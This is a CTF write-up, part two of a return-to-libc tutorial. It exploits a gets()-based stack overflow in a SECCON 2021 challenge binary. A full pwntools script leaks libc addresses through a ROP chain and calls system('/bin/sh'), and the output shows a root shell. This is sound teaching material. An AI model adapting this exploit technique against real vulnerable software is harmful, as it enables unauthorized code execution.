Return 2 LIBC Part 2


This is a continuation of Return 2 LIBC Part 1. If you have not read it, please read it before continuing.


Recap

In the last part of Ret2Libc, we exploited this simple program (albeit painfully) from SECCON 2021;

// gcc src.c -no-pie -fno-stack-protector -o chall -Wall -Wextra
#include <stdio.h>

int main() {
  char str[0x100];
  gets(str);
  puts(str);

}

This time, we will do it without finding any addresses from all over the place.


Exploit

First, we need to know the LIBC that we are running (or if you are connecting to a remote-service, you have to know their LIBC, or leak it)

➜ ldd ./chall
 linux-vdso.so.1 (0x00007fff1b598000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fec9057f000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fec90763000)

Our Libc is at /lib/x86_64-linux-gnu/libc.so.6.

Now let’s write our script to firstly leak our gets() address.

This time, we will use our PwnTools module to set the context, our binary and our libc.

Using PwnTools ROP module, we can call symbols and easily craft our ROP chain.

We can also easily find our addresses with elf.got.gets.

from pwn import *

context.binary = elf = ELF('chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('chall')

rop = ROP(elf)
rop.puts(elf.got.gets)
rop.main()

p.sendline(flat({ 264: rop.chain() }))
p.interactive()

image

As you can see we successfully managed to get our leaks and loop back to main().


Final Exploit Script

Let’s finish up the rest of our script.

from pwn import *

p = process('./chall')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.binary = elf = ELF('chall')

rop = ROP(elf)
rop.puts(elf.got.gets)
rop.main()

p.sendline(flat({ 264: rop.chain() }))
p.recvuntil(cyclic(264))
leak = u64(p.recvline().strip().ljust(8,b'\x00'))
leak2 = u64(p.recvline().strip().ljust(8,b'\x00'))

log.info(f"leak1: {hex(leak)}, leak2: {hex(leak2)}")

libc.address = leak2 - libc.sym.gets
binsh = next(libc.search(b"/bin/sh"))

rop = ROP([libc, elf])
rop.system(binsh)

p.sendline(flat({ 264: rop.chain() }))
p.interactive()

Output:

[x] Starting local process './chall'
[+] Starting local process './chall': pid 11788
[*] leak1: 0x4011f3, leak2: 0x7f3dd7de2b60
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)

$ whoami
root

Voila! We have pwned it without needing to find a single address manually.